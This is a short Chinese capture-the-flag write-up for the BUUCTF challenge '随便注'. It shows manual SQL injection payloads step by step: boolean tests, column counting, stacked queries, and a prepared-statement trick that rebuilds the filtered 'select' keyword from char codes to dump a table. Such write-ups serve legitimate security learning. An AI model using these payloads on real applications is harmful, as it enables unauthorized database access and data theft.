BUUCTF web 随便注 sql注入 mysql预处理语句
开始的页面
查询1
按照手工检测sql注入点步骤
1、判断注入点
1\' or 1=1#
1\' or 1=2#
两次结果不一样,说明存在sql注入
2、判断有多少字段
1\' order by 3#
返回错误
1\' order by 2#
正常,说明有2个字段
3、查询数据库
-1\' union select 1,database()#
这里过滤了很多关键字,不能用select,update之类的关键字,
4、堆叠注入
在sql中,分号;是用来表示SQL语句的结束,而在分号后再写入一条语句就是堆叠注入,不同于union,union是合并一起执行的,而堆叠注入是分开执行的
①查询数据库
1\';show databases;#
②查询表
1\';show tables;#
5、mysql预处理语句
因为我们要查询表,需要用到select关键字,但是这里被过滤了,用sql预处理绕过
这里有解释MySQL的SQL预处理(Prepared)
当数字型字符作为字段、表、库名查询时,应该用反单引号括起来tab键上面的点“,这里因该把1919810931114514表用反单引号括起来
1\';SET@sql=concat(char(115,101,108,101,99,116),\" * from `1919810931114514`\");PREPARE sqla from @sql;EXECUTE sqla;#
总结:
1、堆叠注入
2、当数字型字符作为字段、表、库名查 询时,应该用反单引号括起来
3、mysql预处理